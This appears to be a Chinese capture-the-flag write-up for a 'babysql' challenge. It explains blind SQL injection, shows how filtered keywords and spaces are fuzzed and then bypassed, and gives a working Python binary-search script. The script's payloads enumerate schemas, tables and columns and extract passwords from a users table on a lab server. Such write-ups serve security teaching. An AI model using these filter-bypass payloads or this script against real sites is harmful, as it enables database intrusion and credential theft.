G1CTF2021之babysql分析 – 作者:无名草talent

babysql是   easysql的加强版

https://www.freebuf.com/articles/network/274461.html

尝试输入一下东西只回显 search success和hacker!

典型的布尔盲注：

length() 函数 返回字符串的长度

substr() 截取字符串 （语法:SUBSTR(str,pos,len);） 

ascii() 返回字符的ascii码   [将字符变为数字wei]

sleep() 将程序挂起一段时间n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句	

burp  Fuzz一下

Sql fuzz字典地址: https://github.com/TheKingOfDuck/fuzzDicts 

里面sqlDict文件夹里面的sql.txt

符号202的表示过滤了

过滤了   空格,substr,and,||

用  mid绕substr，or 绕and， /**/绕空格

上脚本用2分法效率高:

# -*- coding: utf-8 -*-
import requests
import urllib.parse
def sqlinjet(url,payload):
    header={
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
        'Cookie': "session=1ac6a561-26db-4c79-a123-a064f3bdec2b.13jA8tDgWvoOxZN007VHA3-AXsw",
        "Content-Type": "application/x-www-form-urlencoded"
            }
    flag=''
    for i in range(1,200):
        low = 32
        high = 128
        mid = (low + high) // 2
        while(low < high):
            data = {
                'id': payload.format(i,mid),
            }
            r = requests.post(url=url,data=data,headers=header)
            print(data)
            if 'search success' in r.text:
               low = mid + 1
            else:
               high = mid
            mid = (low + high) // 2
        flag += chr(mid)
        print(flag)
        if mid == 32 or mid == 132:
            break
url='http://10.1.5.252:28002/index.php'
#查所有的库
payload_all_database="-1/**/or/**/ascii(mid((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{},1))>{}"
#查当前的库
payload_database="-1/**/or/**/ascii(mid((select/**/database()),{},1))>{}"
#查表
payload_table="-1/**/or/**/ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))>{}"
#emails,flag,referers,uagents,users
#查列
payload_column="-1/**/or/**/ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users'),{},1))>{}"
#id,username,password,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
#查字段值
flag="-1/**/or/**/ascii(mid((select/**/group_concat(password)/**/from/**/users),{},1))>{}"
sqlinjet(url,flag)

得flag:

来源：freebuf.com 2021-05-29 16:13:13 by: 无名草talent